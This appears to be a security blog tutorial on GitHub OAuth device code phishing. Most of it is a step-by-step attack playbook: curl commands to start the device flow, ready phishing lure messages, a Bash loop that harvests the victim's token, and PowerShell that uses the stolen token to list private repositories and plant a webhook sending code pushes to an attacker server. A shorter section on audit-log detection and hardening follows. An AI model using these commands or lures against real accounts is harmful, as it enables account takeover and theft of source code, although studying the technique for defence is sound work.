Listen to this Post
Introduction:
In the ever-evolving landscape of cybersecurity, red teams are constantly discovering novel methods to bypass traditional security controls. One of the most insidious emerging threats is GitHub Device Code Phishing, a technique that abuses the OAuth device authorization flow—a feature designed for devices without browsers (like Smart TVs or CLIs). This attack allows an adversary to compromise a developer’s GitHub account, gaining access to private repositories and sensitive source code, often bypassing even Multi-Factor Authentication (MFA). This article dissects the attack chain and provides a technical deep dive into how it is executed and mitigated.
Learning Objectives:
- Understand the mechanics of OAuth Device Code flow and why it is vulnerable to phishing.
- Learn the five-step methodology for executing a GitHub device code phishing attack.
- Identify red teaming commands and tools used to automate token retrieval and account takeover.
- Implement detection mechanisms and hardening techniques to protect organizational GitHub accounts.
You Should Know:
1. Understanding the OAuth Device Code Flow Vulnerability
The OAuth 2.0 Device Authorization Grant (commonly known as “device flow”) is intended for input-constrained devices. Instead of redirecting the user to a browser, the device asks the user to visit a URL on another device and enter a code. GitHub, among other platforms, supports this flow.
Why it is dangerous for Red Teaming:
The attacker initiates the flow on their end, receiving a “user code” and a “verification URI.” They then socially engineer the victim into visiting that URI and entering the code. Because the victim is logging into a legitimate `github.com` domain (with a valid HTTPS certificate), security awareness tools often fail to flag it as malicious. Furthermore, since the token is generated server-side and associated with the attacker’s client, the victim authorizes the attacker’s session without ever handing over a password.
2. Step 1: Code Generation (The Attacker’s Setup)
The attacker must first register a malicious OAuth App on GitHub (or compromise a legitimate one) to obtain a Client ID. They then initiate the device flow.
Linux/macOS Command (using cURL):
Request device code from GitHub curl -X POST https://github.com/login/device/code \ -d "client_id=YOUR_MALICIOUS_CLIENT_ID" \ -d "scope=repo%20workflow%20write:packages"
Expected Response:
{
"device_code": "3584d83530557fdd1f46af8289938c8ef79f9dc5",
"user_code": "WDJB-MJHT",
"verification_uri": "https://github.com/login/device",
"expires_in": 900,
"interval": 5
}
What this does: This command requests GitHub to generate a user code. The `scope=repo` ensures that once the victim authenticates, the attacker gains access to all their repositories.
3. Step 2: Social Engineering (The Lure)
The attacker now possesses the `user_code` (e.g., WDJB-MJHT) and the verification_uri. The social engineering payload must convince the victim to visit the URI and enter the code.
Common Lures:
- Fake CI/CD Failure: “Your recent commit broke the pipeline. Please re-authenticate here: [github.com/login/device] and enter code WDJB-MJHT to view logs.”
- Package Installation: “To install this private package, you must authorize your device by visiting the link below and entering the code.”
- Security Alert: “Unusual login detected. Verify your device immediately.”
4. Step 3: User Authentication (The Victim’s Action)
The victim navigates to https://github.com/login/device`. They see a legitimate GitHub page asking for the 8-character code. After enteringWDJB-MJHT`, GitHub asks them to authorize the OAuth application.
The Crucial Deception: If the victim has an active session, they do not need to enter a password. If MFA is enabled, they will be prompted for it here—but since this is a legitimate GitHub login page, the MFA request is real. The victim, believing they are securing their account, completes the MFA prompt, effectively authorizing the attacker.
5. Step 4: Token Retrieval (The Handover)
While the victim is authorizing the device, the attacker is polling GitHub’s token endpoint. Once the victim authorizes the app, GitHub responds to the attacker with an access token.
Linux Command (Polling Loop):
Poll for the access token while true; do response=$(curl -s -X POST https://github.com/login/oauth/access_token \ -d "client_id=YOUR_MALICIOUS_CLIENT_ID" \ -d "device_code=3584d83530557fdd1f46af8289938c8ef79f9dc5" \ -d "grant_type=urn:ietf:params:oauth:grant-type:device_code" \ -H "Accept: application/json") Check if token is received if echo "$response" | grep -q "access_token"; then echo "Access Token Retrieved: $response" break else echo "Waiting for user authorization..." sleep 5 fi done
What this does: This Bash script polls GitHub every 5 seconds (the recommended interval). When the victim finally authorizes the request, the script outputs the access_token.
6. Step 5: Own Everything (Post-Exploitation)
With the access token, the attacker can now impersonate the victim. This token is typically valid until explicitly revoked by the user or the OAuth app.
Windows PowerShell (Token Usage):
Set the stolen token
$token = "YOUR_STOLEN_ACCESS_TOKEN"
$headers = @{Authorization = "token $token"}
List all repositories (including private ones)
Invoke-RestMethod -Uri "https://api.github.com/user/repos?type=all" -Headers $headers
List organization memberships
Invoke-RestMethod -Uri "https://api.github.com/user/memberships/orgs" -Headers $headers
Create a backdoor webhook (to exfiltrate code on push)
$body = @{
name = "web"
active = $true
events = @("push")
config = @{
url = "https://attacker-server.com/webhook"
content_type = "json"
}
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://api.github.com/repos/victim/private-repo/hooks" `
-Headers $headers `
-Method POST `
-Body $body `
-ContentType "application/json"
7. Detection and Mitigation Strategies
Defending against this attack requires a shift from user training to technical controls, as users are trained to trust github.com.
1. Restrict OAuth Application Scope (GitHub Enterprise Cloud):
Security administrators should restrict which OAuth apps can be installed. Use GitHub’s OAuth application polices to limit apps to those that are allow-listed.
2. Monitor for Impossible Travel (SIEM Logic):
If the attacker polls from `Country A` and the victim authorizes from `Country B` within the same 5-second polling window, it indicates token forwarding.
Example: Check GitHub Audit Logs via API for new OAuth authorizations
gh api /orgs/YOUR_ORG/audit-log --paginate -q '.[] | select(.action=="oauth_application.authorization") | {actor: .actor, timestamp: ."@timestamp", ip: .actor_ip}'
3. Conditional Access Policies (Azure AD Integration):
If GitHub Enterprise is linked to Azure AD, enforce Conditional Access policies that block device code flows entirely or require a compliant device.
4. User Awareness (Specific to Device Flow):
Train developers to recognize that they should never enter a code on `github.com/login/device` unless they initiated the process themselves on a trusted device.
What Undercode Say:
- The MFA Paradox: This attack highlights a critical weakness in current MFA implementations. By exploiting the OAuth trust model, the attacker turns the victim’s MFA prompt from a security feature into a weapon that validates the attacker’s session. It proves that “something you have” (phone for OTP) is useless if “what you are authorizing” is malicious.
-
Identity is the New Perimeter: The GitHub device code phishing attack underscores that in a DevOps world, source code is the crown jewel. Red teams must prioritize compromising developer identities over infrastructure, as a single GitHub token provides access to secrets, infrastructure-as-code, and build pipelines.
Analysis: This technique is devastating because it operates entirely within the bounds of legitimate platform behavior. Traditional email gateways will not block the link because it points to github.com. Endpoint detection tools see the user visiting a legitimate HTTPS site. The only potential tripwire is the user’s suspicion—a weak link in the chain. Organizations must shift toward “OAuth app governance,” treating OAuth authorizations with the same severity as new user logins.
Prediction:
As this attack vector gains notoriety, we will likely see GitHub and other major platforms implementing “OAuth Consent Telemetry.” Future iterations will likely include risk-scoring for device code requests based on the requester’s IP reputation and device fingerprint. Additionally, we predict a rise in “Token Theft as a Service,” where attackers automate the polling and validation of stolen tokens, selling access to compromised GitHub accounts on dark web markets within minutes of a successful phish.
▶️ Related Video (84% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Saurabh Solanki – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
